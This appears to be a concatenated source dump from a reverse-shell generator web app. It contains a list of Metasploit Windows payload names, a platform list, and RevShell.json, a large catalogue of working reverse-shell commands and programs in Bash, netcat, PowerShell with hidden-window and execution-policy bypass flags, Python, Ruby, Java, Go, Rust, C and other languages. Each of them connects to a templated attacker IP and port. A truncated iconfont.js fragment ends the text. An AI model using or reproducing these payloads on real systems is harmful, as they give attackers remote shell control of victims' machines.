"windows/dllinject/bind_hidden_tcp" }, { "value": "windows/dllinject/bind_ipv6_tcp" }, { "value": "windows/dllinject/bind_ipv6_tcp_uuid" }, { "value": "windows/dllinject/bind_named_pipe" }, { "value": "windows/dllinject/bind_nonx_tcp" }, { "value": "windows/dllinject/bind_tcp" }, { "value": "windows/dllinject/bind_tcp_rc4" }, { "value": "windows/dllinject/bind_tcp_uuid" }, { "value": "windows/dllinject/find_tag" }, { "value": "windows/dllinject/reverse_hop_http" }, { "value": "windows/dllinject/reverse_http" }, { "value": "windows/dllinject/reverse_http_proxy_pstore" }, { "value": "windows/dllinject/reverse_ipv6_tcp" }, { "value": "windows/dllinject/reverse_nonx_tcp" }, { "value": "windows/dllinject/reverse_ord_tcp" }, { "value": "windows/dllinject/reverse_tcp" }, { "value": "windows/dllinject/reverse_tcp_allports" }, { "value": "windows/dllinject/reverse_tcp_dns" }, { "value": "windows/dllinject/reverse_tcp_rc4" }, { "value": "windows/dllinject/reverse_tcp_rc4_dns" }, { "value": "windows/dllinject/reverse_tcp_uuid" }, { "value": "windows/dllinject/reverse_udp" }, { "value": "windows/dllinject/reverse_winhttp" }, { "value": "windows/dns_txt_query_exec" }, { "value": "windows/download_exec" }, { "value": "windows/exec" }, { "value": "windows/format_all_drives" }, { "value": "windows/loadlibrary" }, { "value": "windows/messagebox" }, { "value": "windows/meterpreter/bind_hidden_ipknock_tcp" }, { "value": "windows/meterpreter/bind_hidden_tcp" }, { "value": "windows/meterpreter/bind_ipv6_tcp" }, { "value": "windows/meterpreter/bind_ipv6_tcp_uuid" }, { "value": "windows/meterpreter/bind_named_pipe" }, { "value": "windows/meterpreter/bind_nonx_tcp" }, { "value": "windows/meterpreter/bind_tcp" }, { "value": "windows/meterpreter/bind_tcp_rc4" }, { "value": "windows/meterpreter/bind_tcp_uuid" }, { "value": "windows/meterpreter/find_tag" }, { "value": "windows/meterpreter/reverse_hop_http" }, { "value": "windows/meterpreter/reverse_http" }, { "value": "windows/meterpreter/reverse_http_proxy_pstore" }, { "value": "windows/meterpreter/reverse_https" }, { "value": "windows/meterpreter/reverse_https_proxy" }, { "value": "windows/meterpreter/reverse_ipv6_tcp" }, { "value": "windows/meterpreter/reverse_named_pipe" }, { "value": "windows/meterpreter/reverse_nonx_tcp" }, { "value": "windows/meterpreter/reverse_ord_tcp" }, { "value": "windows/meterpreter/reverse_tcp" }, { "value": "windows/meterpreter/reverse_tcp_allports" }, { "value": "windows/meterpreter/reverse_tcp_dns" }, { "value": "windows/meterpreter/reverse_tcp_rc4" }, { "value": "windows/meterpreter/reverse_tcp_rc4_dns" }, { "value": "windows/meterpreter/reverse_tcp_uuid" }, { "value": "windows/meterpreter/reverse_udp" }, { "value": "windows/meterpreter/reverse_winhttp" }, { "value": "windows/meterpreter/reverse_winhttps" }, { "value": "windows/meterpreter_bind_named_pipe" }, { "value": "windows/meterpreter_bind_tcp" }, { "value": "windows/meterpreter_reverse_http" }, { "value": "windows/meterpreter_reverse_https" }, { "value": "windows/meterpreter_reverse_ipv6_tcp" }, { "value": "windows/meterpreter_reverse_tcp" }, { "value": "windows/metsvc_bind_tcp" }, { "value": "windows/metsvc_reverse_tcp" }, { "value": "windows/patchupdllinject/bind_hidden_ipknock_tcp" }, { "value": "windows/patchupdllinject/bind_hidden_tcp" }, { "value": "windows/patchupdllinject/bind_ipv6_tcp" }, { "value": "windows/patchupdllinject/bind_ipv6_tcp_uuid" }, { "value": "windows/patchupdllinject/bind_named_pipe" }, { "value": "windows/patchupdllinject/bind_nonx_tcp" }, { "value": "windows/patchupdllinject/bind_tcp" }, { "value": "windows/patchupdllinject/bind_tcp_rc4" }, { "value": "windows/patchupdllinject/bind_tcp_uuid" }, { "value": "windows/patchupdllinject/find_tag" }, { "value": "windows/patchupdllinject/reverse_ipv6_tcp" }, { "value": "windows/patchupdllinject/reverse_nonx_tcp" }, { "value": "windows/patchupdllinject/reverse_ord_tcp" }, { "value": "windows/patchupdllinject/reverse_tcp" }, { "value": "windows/patchupdllinject/reverse_tcp_allports" }, { "value": "windows/patchupdllinject/reverse_tcp_dns" }, { "value": "windows/patchupdllinject/reverse_tcp_rc4" }, { "value": "windows/patchupdllinject/reverse_tcp_rc4_dns" }, { "value": "windows/patchupdllinject/reverse_tcp_uuid" }, { "value": "windows/patchupdllinject/reverse_udp" }, { "value": "windows/patchupmeterpreter/bind_hidden_ipknock_tcp" }, { "value": "windows/patchupmeterpreter/bind_hidden_tcp" }, { "value": "windows/patchupmeterpreter/bind_ipv6_tcp" }, { "value": "windows/patchupmeterpreter/bind_ipv6_tcp_uuid" }, { "value": "windows/patchupmeterpreter/bind_named_pipe" }, { "value": "windows/patchupmeterpreter/bind_nonx_tcp" }, { "value": "windows/patchupmeterpreter/bind_tcp" }, { "value": "windows/patchupmeterpreter/bind_tcp_rc4" }, { "value": "windows/patchupmeterpreter/bind_tcp_uuid" }, { "value": "windows/patchupmeterpreter/find_tag" }, { "value": "windows/patchupmeterpreter/reverse_ipv6_tcp" }, { "value": "windows/patchupmeterpreter/reverse_nonx_tcp" }, { "value": "windows/patchupmeterpreter/reverse_ord_tcp" }, { "value": "windows/patchupmeterpreter/reverse_tcp" }, { "value": "windows/patchupmeterpreter/reverse_tcp_allports" }, { "value": "windows/patchupmeterpreter/reverse_tcp_dns" }, { "value": "windows/patchupmeterpreter/reverse_tcp_rc4" }, { "value": "windows/patchupmeterpreter/reverse_tcp_rc4_dns" }, { "value": "windows/patchupmeterpreter/reverse_tcp_uuid" }, { "value": "windows/patchupmeterpreter/reverse_udp" }, { "value": "windows/powershell_bind_tcp" }, { "value": "windows/powershell_reverse_tcp" }, { "value": "windows/shell/bind_hidden_ipknock_tcp" }, { "value": "windows/shell/bind_hidden_tcp" }, { "value": "windows/shell/bind_ipv6_tcp" }, { "value": "windows/shell/bind_ipv6_tcp_uuid" }, { "value": "windows/shell/bind_named_pipe" }, { "value": "windows/shell/bind_nonx_tcp" }, { "value": "windows/shell/bind_tcp" }, { "value": "windows/shell/bind_tcp_rc4" }, { "value": "windows/shell/bind_tcp_uuid" }, { "value": "windows/shell/find_tag" }, { "value": "windows/shell/reverse_ipv6_tcp" }, { "value": "windows/shell/reverse_nonx_tcp" }, { "value": "windows/shell/reverse_ord_tcp" }, { "value": "windows/shell/reverse_tcp" }, { "value": "windows/shell/reverse_tcp_allports" }, { "value": "windows/shell/reverse_tcp_dns" }, { "value": "windows/shell/reverse_tcp_rc4" }, { "value": "windows/shell/reverse_tcp_rc4_dns" }, { "value": "windows/shell/reverse_tcp_uuid" }, { "value": "windows/shell/reverse_udp" }, { "value": "windows/shell_bind_tcp" }, { "value": "windows/shell_bind_tcp_xpfw" }, { "value": "windows/shell_hidden_bind_tcp" }, { "value": "windows/shell_reverse_tcp" }, { "value": "windows/speak_pwned" }, { "value": "windows/upexec/bind_hidden_ipknock_tcp" }, { "value": "windows/upexec/bind_hidden_tcp" }, { "value": "windows/upexec/bind_ipv6_tcp" }, { "value": "windows/upexec/bind_ipv6_tcp_uuid" }, { "value": "windows/upexec/bind_named_pipe" }, { "value": "windows/upexec/bind_nonx_tcp" }, { "value": "windows/upexec/bind_tcp" }, { "value": "windows/upexec/bind_tcp_rc4" }, { "value": "windows/upexec/bind_tcp_uuid" }, { "value": "windows/upexec/find_tag" }, { "value": "windows/upexec/reverse_ipv6_tcp" }, { "value": "windows/upexec/reverse_nonx_tcp" }, { "value": "windows/upexec/reverse_ord_tcp" }, { "value": "windows/upexec/reverse_tcp" }, { "value": "windows/upexec/reverse_tcp_allports" }, { "value": "windows/upexec/reverse_tcp_dns" }, { "value": "windows/upexec/reverse_tcp_rc4" }, { "value": "windows/upexec/reverse_tcp_rc4_dns" }, { "value": "windows/upexec/reverse_tcp_uuid" }, { "value": "windows/upexec/reverse_udp" }, { "value": "windows/vncinject/bind_hidden_ipknock_tcp" }, { "value": "windows/vncinject/bind_hidden_tcp" }, { "value": "windows/vncinject/bind_ipv6_tcp" }, { "value": "windows/vncinject/bind_ipv6_tcp_uuid" }, { "value": "windows/vncinject/bind_named_pipe" }, { "value": "windows/vncinject/bind_nonx_tcp" }, { "value": "windows/vncinject/bind_tcp" }, { "value": "windows/vncinject/bind_tcp_rc4" }, { "value": "windows/vncinject/bind_tcp_uuid" }, { "value": "windows/vncinject/find_tag" }, { "value": "windows/vncinject/reverse_hop_http" }, { "value": "windows/vncinject/reverse_http" }, { "value": "windows/vncinject/reverse_http_proxy_pstore" }, { "value": "windows/vncinject/reverse_ipv6_tcp" }, { "value": "windows/vncinject/reverse_nonx_tcp" }, { "value": "windows/vncinject/reverse_ord_tcp" }, { "value": "windows/vncinject/reverse_tcp" }, { "value": "windows/vncinject/reverse_tcp_allports" }, { "value": "windows/vncinject/reverse_tcp_dns" }, { "value": "windows/vncinject/reverse_tcp_rc4" }, { "value": "windows/vncinject/reverse_tcp_rc4_dns" }, { "value": "windows/vncinject/reverse_tcp_uuid" }, { "value": "windows/vncinject/reverse_udp" }, { "value": "windows/vncinject/reverse_winhttp" }, { "value": "windows/x64/exec" }, { "value": "windows/x64/loadlibrary" }, { "value": "windows/x64/meterpreter/bind_ipv6_tcp" }, { "value": "windows/x64/meterpreter/bind_ipv6_tcp_uuid" }, { "value": "windows/x64/meterpreter/bind_named_pipe" }, { "value": "windows/x64/meterpreter/bind_tcp" }, { "value": "windows/x64/meterpreter/bind_tcp_uuid" }, { "value": "windows/x64/meterpreter/reverse_http" }, { "value": "windows/x64/meterpreter/reverse_https" }, { "value": "windows/x64/meterpreter/reverse_named_pipe" }, { "value": "windows/x64/meterpreter/reverse_tcp" }, { "value": "windows/x64/meterpreter/reverse_tcp_rc4" }, { "value": "windows/x64/meterpreter/reverse_tcp_uuid" }, { "value": "windows/x64/meterpreter/reverse_winhttp" }, { "value": "windows/x64/meterpreter/reverse_winhttps" }, { "value": "windows/x64/meterpreter_bind_named_pipe" }, { "value": "windows/x64/meterpreter_bind_tcp" }, { "value": "windows/x64/meterpreter_reverse_http" }, { "value": "windows/x64/meterpreter_reverse_https" }, { "value": "windows/x64/meterpreter_reverse_ipv6_tcp" }, { "value": "windows/x64/meterpreter_reverse_tcp" }, { "value": "windows/x64/powershell_bind_tcp" }, { "value": "windows/x64/powershell_reverse_tcp" }, { "value": "windows/x64/shell/bind_ipv6_tcp" }, { "value": "windows/x64/shell/bind_ipv6_tcp_uuid" }, { "value": "windows/x64/shell/bind_named_pipe" }, { "value": "windows/x64/shell/bind_tcp" }, { "value": "windows/x64/shell/bind_tcp_uuid" }, { "value": "windows/x64/shell/reverse_tcp" }, { "value": "windows/x64/shell/reverse_tcp_rc4" }, { "value": "windows/x64/shell/reverse_tcp_uuid" }, { "value": "windows/x64/shell_bind_tcp" }, { "value": "windows/x64/shell_reverse_tcp" }, { "value": "windows/x64/vncinject/bind_ipv6_tcp" }, { "value": "windows/x64/vncinject/bind_ipv6_tcp_uuid" }, { "value": "windows/x64/vncinject/bind_named_pipe" }, { "value": "windows/x64/vncinject/bind_tcp" }, { "value": "windows/x64/vncinject/bind_tcp_uuid" }, { "value": "windows/x64/vncinject/reverse_http" }, { "value": "windows/x64/vncinject/reverse_https" }, { "value": "windows/x64/vncinject/reverse_tcp" }, { "value": "windows/x64/vncinject/reverse_tcp_rc4" }, { "value": "windows/x64/vncinject/reverse_tcp_uuid" }, { "value": "windows/x64/vncinject/reverse_winhttp" }, { "value": "windows/x64/vncinject/reverse_winhttps" } ] ================================================ FILE: src/assets/data/Platform.json ================================================ [ { "value": "aix" }, { "value": "android" }, { "value": "apple_ios" }, { "value": "bsd" }, { "value": "bsdi" }, { "value": "cisco" }, { "value": "firefox" }, { "value": "freebsd" }, { "value": "hardware" }, { "value": "hpux" }, { "value": "irix" }, { "value": "java" }, { "value": "javascript" }, { "value": "juniper" }, { "value": "linux" }, { "value": "mainframe" }, { "value": "multi" }, { "value": "netbsd" }, { "value": "netware" }, { "value": "nodejs" }, { "value": "openbsd" }, { "value": "osx" }, { "value": "php" }, { "value": "python" }, { "value": "r" }, { "value": "ruby" }, { "value": "solaris" }, { "value": "unix" }, { "value": "windows" } ] ================================================ FILE: src/assets/data/RevShell.json ================================================ [ { "name": "Bash -i", "command": "{shell} -i >& /dev/tcp/${values.ip}/${values.port} 0>&1", "tags": [ "linux", "mac" ] }, { "name": "Bash 196", "command": "0<&196;exec 196<>/dev/tcp/${values.ip}/${values.port}; {shell} <&196 >&196 2>&196", "tags": [ "linux", "mac" ] }, { "name": "Bash read line", "command": "exec 5<>/dev/tcp/${values.ip}/${values.port};cat <&5 | while read line; do $line 2>&5 >&5; done", "tags": [ "linux", "mac" ] }, { "name": "Bash 5", "command": "{shell} -i 5<> /dev/tcp/${values.ip}/${values.port} 0<&5 1>&5 2>&5", "tags": [ "linux", "mac" ] }, { "name": "Bash udp", "command": "{shell} -i >& /dev/udp/${values.ip}/${values.port} 0>&1", "tags": [ "linux", "mac" ] }, { "name": "nc mkfifo", "command": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|nc ${values.ip} ${values.port} >/tmp/f", "tags": [ "linux", "mac" ] }, { "name": "nc -e", "command": "nc ${values.ip} ${values.port} -e {shell}", "tags": [ "linux", "mac" ] }, { "name": "nc.exe -e", "command": "nc.exe ${values.ip} ${values.port} -e {shell}", "tags": [ "windows" ] }, { "name": "nc -c", "command": "nc -c {shell} ${values.ip} ${values.port}", "tags": [ "linux", "mac" ] }, { "name": "ncat -e", "command": "ncat ${values.ip} ${values.port} -e {shell}", "tags": [ "linux", "mac" ] }, { "name": "ncat.exe -e", "command": "ncat.exe ${values.ip} ${values.port} -e {shell}", "tags": [ "windows" ] }, { "name": "ncat udp", "command": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|ncat -u ${values.ip} ${values.port} >/tmp/f", "tags": [ "linux", "mac" ] }, { "name": "rustcat", "command": "rcat ${values.ip} ${values.port} -r {shell}", "tags": [ "linux", "mac" ] }, { "name": "Haskell #1", "command": "module Main where\n\nimport System.Process\n\nmain = callCommand \"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | {shell} -i 2>&1 | nc ${values.ip} ${values.port} >/tmp/f\"", "tags": [ "linux", "mac" ] }, { "name": "Perl", "command": "perl -e 'use Socket;$i=\"${values.ip}\";$p=${values.port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"{shell} -i\");};'", "tags": [ "linux", "mac" ] }, { "name": "Perl no sh", "command": "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"${values.ip}:${values.port}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'", "tags": [ "linux", "mac" ] }, { "name": "PowerShell #1", "command": "powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(\"${values.ip}\",${values.port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()", "tags": [ "windows" ] }, { "name": "PowerShell #2", "command": "powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('${values.ip}',${values.port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"", "tags": [ "windows" ] }, { "name": "PowerShell #3", "command": "powershell -nop -W hidden -noni -ep bypass -c \"$TCPClient = New-Object Net.Sockets.TCPClient('${values.ip}', ${values.port});$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()\"", "tags": [ "windows" ] }, { "name": "PowerShell #4 (TLS)", "command": "powershell -nop -W hidden -noni -ep bypass -c \"$TCPClient = New-Object Net.Sockets.TCPClient('${values.ip}', ${values.port});$NetworkStream = $TCPClient.GetStream();$SslStream = New-Object Net.Security.SslStream($NetworkStream,$false,({$true} -as [Net.Security.RemoteCertificateValidationCallback]));$SslStream.AuthenticateAsClient('cloudflare-dns.com',$null,$false);if(!$SslStream.IsEncrypted -or !$SslStream.IsSigned) {$SslStream.Close();exit}$StreamWriter = New-Object IO.StreamWriter($SslStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()};WriteToStream '';while(($BytesRead = $SslStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()\"", "tags": [ "windows" ] }, { "name": "Python #1", "command": "export RHOST=\"${values.ip}\";export RPORT=${values.port};python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"{shell}\")'", "tags": [ "linux", "mac" ] }, { "name": "Python #2", "command": "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"${values.ip}\",${values.port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"{shell}\")'", "tags": [ "linux", "mac" ] }, { "name": "Python3 #1", "command": "export RHOST=\"${values.ip}\";export RPORT=${values.port};python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"{shell}\")'", "tags": [ "linux", "mac" ] }, { "name": "Python3 #2", "command": "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"${values.ip}\",${values.port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"{shell}\")'", "tags": [ "linux", "mac" ] }, { "name": "Python3 Windows", "command": "import os,socket,subprocess,threading;\ndef s2p(s, p):\n while True:\n data = s.recv(1024)\n if len(data) > 0:\n p.stdin.write(data)\n p.stdin.flush()\n\ndef p2s(s, p):\n while True:\n s.send(p.stdout.read(1))\n\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect((\"${values.ip}\",${values.port}))\n\np=subprocess.Popen([\"{shell}\"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)\n\ns2p_thread = threading.Thread(target=s2p, args=[s, p])\ns2p_thread.daemon = True\ns2p_thread.start()\n\np2s_thread = threading.Thread(target=p2s, args=[s, p])\np2s_thread.daemon = True\np2s_thread.start()\n\ntry:\n p.wait()\nexcept KeyboardInterrupt:\n s.close()", "tags": [ "windows" ] }, { "name": "Python3 shortest", "command": "python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"${values.ip}\",${values.port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"{shell}\")'", "tags": [ "linux" ] }, { "name": "Ruby #1", "command": "ruby -rsocket -e'spawn(\"sh\",[:in,:out,:err]=>TCPSocket.new(\"${values.ip}\",${values.port}))'", "tags": [ "linux", "mac" ] }, { "name": "Ruby no sh", "command": "ruby -rsocket -e'exit if fork;c=TCPSocket.new(\"${values.ip}\",\"${values.port}\");loop{c.gets.chomp!;(exit! if $_==\"exit\");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts \"failed: #{$_}\"}'", "tags": [ "linux", "mac" ] }, { "name": "socat #1", "command": "socat TCP:${values.ip}:${values.port} EXEC:{shell}", "tags": [ "linux", "mac" ] }, { "name": "socat #2 (TTY)", "command": "socat TCP:${values.ip}:${values.port} EXEC:'{shell}',pty,stderr,setsid,sigint,sane", "tags": [ "linux", "mac" ] }, { "name": "node.js", "command": "require('child_process').exec('nc -e {shell} ${values.ip} ${values.port}')", "tags": [ "linux", "mac" ] }, { "name": "node.js #2", "command": "(function(){\r\n var net = require(\"net\"),\r\n cp = require(\"child_process\"),\r\n sh = cp.spawn(\"\\{shell}\", []);\r\n var client = new net.Socket();\r\n client.connect(${values.port}, \"${values.ip}\", function(){\r\n client.pipe(sh.stdin);\r\n sh.stdout.pipe(client);\r\n sh.stderr.pipe(client);\r\n });\r\n return \/a\/; \/\/ Prevents the Node.js application from crashing\r\n})();", "tags": [ "linux", "mac", "windows" ] }, { "name": "Java #1", "command": "public class shell {\n public static void main(String[] args) {\n Process p;\n try {\n p = Runtime.getRuntime().exec(\"bash -c $@|bash 0 echo bash -i >& /dev/tcp/${values.ip}/${values.port} 0>&1\");\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}", "tags": [ "linux", "mac" ] }, { "name": "Java #2", "command": "public class shell {\n public static void main(String[] args) {\n ProcessBuilder pb = new ProcessBuilder(\"bash\", \"-c\", \"$@| bash -i >& /dev/tcp/${values.ip}/${values.port} 0>&1\")\n .redirectErrorStream(true);\n try {\n Process p = pb.start();\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}", "tags": [ "linux", "mac" ] }, { "name": "Java #3", "command": "import java.io.InputStream;\nimport java.io.OutputStream;\nimport java.net.Socket;\n\npublic class shell {\n public static void main(String[] args) {\n String host = \"${values.ip}\";\n int port = ${values.port};\n String cmd = \"{shell}\";\n try {\n Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();\n Socket s = new Socket(host, port);\n InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();\n OutputStream po = p.getOutputStream(), so = s.getOutputStream();\n while (!s.isClosed()) {\n while (pi.available() > 0)\n so.write(pi.read());\n while (pe.available() > 0)\n so.write(pe.read());\n while (si.available() > 0)\n po.write(si.read());\n so.flush();\n po.flush();\n Thread.sleep(50);\n try {\n p.exitValue();\n break;\n } catch (Exception e) {}\n }\n p.destroy();\n s.close();\n } catch (Exception e) {}\n }\n}", "tags": [ "windows", "linux", "mac" ] }, { "name": "Javascript", "command": "String command = \"var host = \\'${values.ip}\\';\" +\r\n \"var port = ${values.port};\" +\r\n \"var cmd = \\'{shell}\\';\"+\r\n \"var s = new java.net.Socket(host, port);\" +\r\n \"var p = new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();\"+\r\n \"var pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();\"+\r\n \"var po = p.getOutputStream(), so = s.getOutputStream();\"+\r\n \"print (\\'Connected\\');\"+\r\n \"while (!s.isClosed()) {\"+\r\n \" while (pi.available() > 0)\"+\r\n \" so.write(pi.read());\"+\r\n \" while (pe.available() > 0)\"+\r\n \" so.write(pe.read());\"+\r\n \" while (si.available() > 0)\"+\r\n \" po.write(si.read());\"+\r\n \" so.flush();\"+\r\n \" po.flush();\"+\r\n \" java.lang.Thread.sleep(50);\"+\r\n \" try {\"+\r\n \" p.exitValue();\"+\r\n \" break;\"+\r\n \" }\"+\r\n \" catch (e) {\"+\r\n \" }\"+\r\n \"}\"+\r\n \"p.destroy();\"+\r\n \"s.close();\";\r\nString x = \"\\\"\\\".getClass().forName(\\\"javax.script.ScriptEngineManager\\\").newInstance().getEngineByName(\\\"JavaScript\\\").eval(\\\"\"+command+\"\\\")\";\r\nref.add(new StringRefAddr(\"x\", x);", "tags": [ "linux", "mac", "windows" ] }, { "name": "Groovy", "command": "String host=\"${values.ip}\";int port=${values.port};String cmd=\"{shell}\";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();", "tags": [ "windows" ] }, { "name": "telnet", "command": "TF=$(mktemp -u);mkfifo $TF && telnet ${values.ip} ${values.port} 0<$TF | {shell} 1>$TF", "tags": [ "linux", "mac" ] }, { "name": "zsh", "command": "zsh -c 'zmodload zsh/net/tcp && ztcp ${values.ip} ${values.port} && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'", "tags": [ "linux", "mac" ] }, { "name": "Lua #1", "command": "lua -e \"require('socket');require('os');t=socket.tcp();t:connect('${values.ip}','${values.port}');os.execute('{shell} -i <&3 >&3 2>&3');\"", "tags": [ "linux" ] }, { "name": "Lua #2", "command": "lua5.1 -e 'local host, port = \"${values.ip}\", ${values.port} local socket = require(\"socket\") local tcp = socket.tcp() local io = require(\"io\") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, \"r\") local s = f:read(\"*a\") f:close() tcp:send(s) if status == \"closed\" then break end end tcp:close()'", "tags": [ "linux", "windows" ] }, { "name": "Golang", "command": "echo 'package main;import\"os/exec\";import\"net\";func main(){c,_:=net.Dial(\"tcp\",\"${values.ip}:${values.port}\");cmd:=exec.Command(\"{shell}\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go", "tags": [ "linux", "mac", "windows" ] }, { "name": "Vlang", "command": "echo 'import os' > /tmp/t.v && echo 'fn main() { os.system(\"nc -e {shell} ${values.ip} ${values.port} 0>&1\") }' >> /tmp/t.v && v run /tmp/t.v && rm /tmp/t.v", "tags": [ "linux", "mac" ] }, { "name": "Awk", "command": "awk 'BEGIN {s = \"/inet/tcp/0/${values.ip}/${values.port}\"; while(42) { do{ printf \"shell>\" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != \"exit\") close(s); }}' /dev/null", "tags": [ "linux", "mac" ] }, { "name": "Dart", "command": "import 'dart:io';\nimport 'dart:convert';\n\nmain() {\n Socket.connect(\"${values.ip}\", ${values.port}).then((socket) {\n socket.listen((data) {\n Process.start('{shell}', []).then((Process process) {\n process.stdin.writeln(new String.fromCharCodes(data).trim());\n process.stdout\n .transform(utf8.decoder)\n .listen((output) { socket.write(output); });\n });\n },\n onDone: () {\n socket.destroy();\n });\n });\n}", "tags": [ "linux", "mac", "windows" ] }, { "name": "Rust", "command": "use std::net::TcpStream;\nuse std::os::unix::io::{AsRawFd, FromRawFd};\nuse std::process::{Command, Stdio};\n\nfn main() {\n let s = TcpStream::connect(\"${values.ip}:${values.port}\").unwrap();\n let fd = s.as_raw_fd();\n Command::new(\"{shell}\")\n .arg(\"-i\")\n .stdin(unsafe { Stdio::from_raw_fd(fd) })\n .stdout(unsafe { Stdio::from_raw_fd(fd) })\n .stderr(unsafe { Stdio::from_raw_fd(fd) })\n .spawn()\n .unwrap()\n .wait()\n .unwrap();\n}", "tags": [ "linux", "mac", "windows" ] }, { "name": "C", "command": "#include \n#include \n#include \n#include \n#include \n\n#define REMOTE_ADDR \"${values.ip}\"\n#define REMOTE_PORT ${values.port} \n\nint main(int argc, char *argv[])\n{\n struct sockaddr_in sa;\n int s;\n\n sa.sin_family = AF_INET;\n sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);\n sa.sin_port = htons(REMOTE_PORT);\n\n s = socket(AF_INET, SOCK_STREAM, 0);\n connect(s, (struct sockaddr *)&sa, sizeof(sa));\n dup2(s, 0);\n dup2(s, 1);\n dup2(s, 2);\n\n execve(\"{shell}\", 0, 0);\n return 0;\n}", "tags": [ "linux", "mac", "windows" ] } ] ================================================ FILE: src/assets/img/icons/iconfont.js ================================================ !function(t){var c,l,h,a,o,v='',i=(i=document.getElementsByTagName("script"))[i.length-1].getAttribute("data-injectcss"),e=function(t,c){c.parentNode.insertBefore(t,c)};if(i&&!t.__iconfont__svg__cssinject__){t.__iconfont__svg__cssinject__=!0;try{document.write("")}catch(t){console&&console.log(t)}}function s(){o||(o=!0,h())}function m(){try{a.documentElement.doScroll("left")}catch(t){return void setTimeout(m,50)}s()}c=function(){var 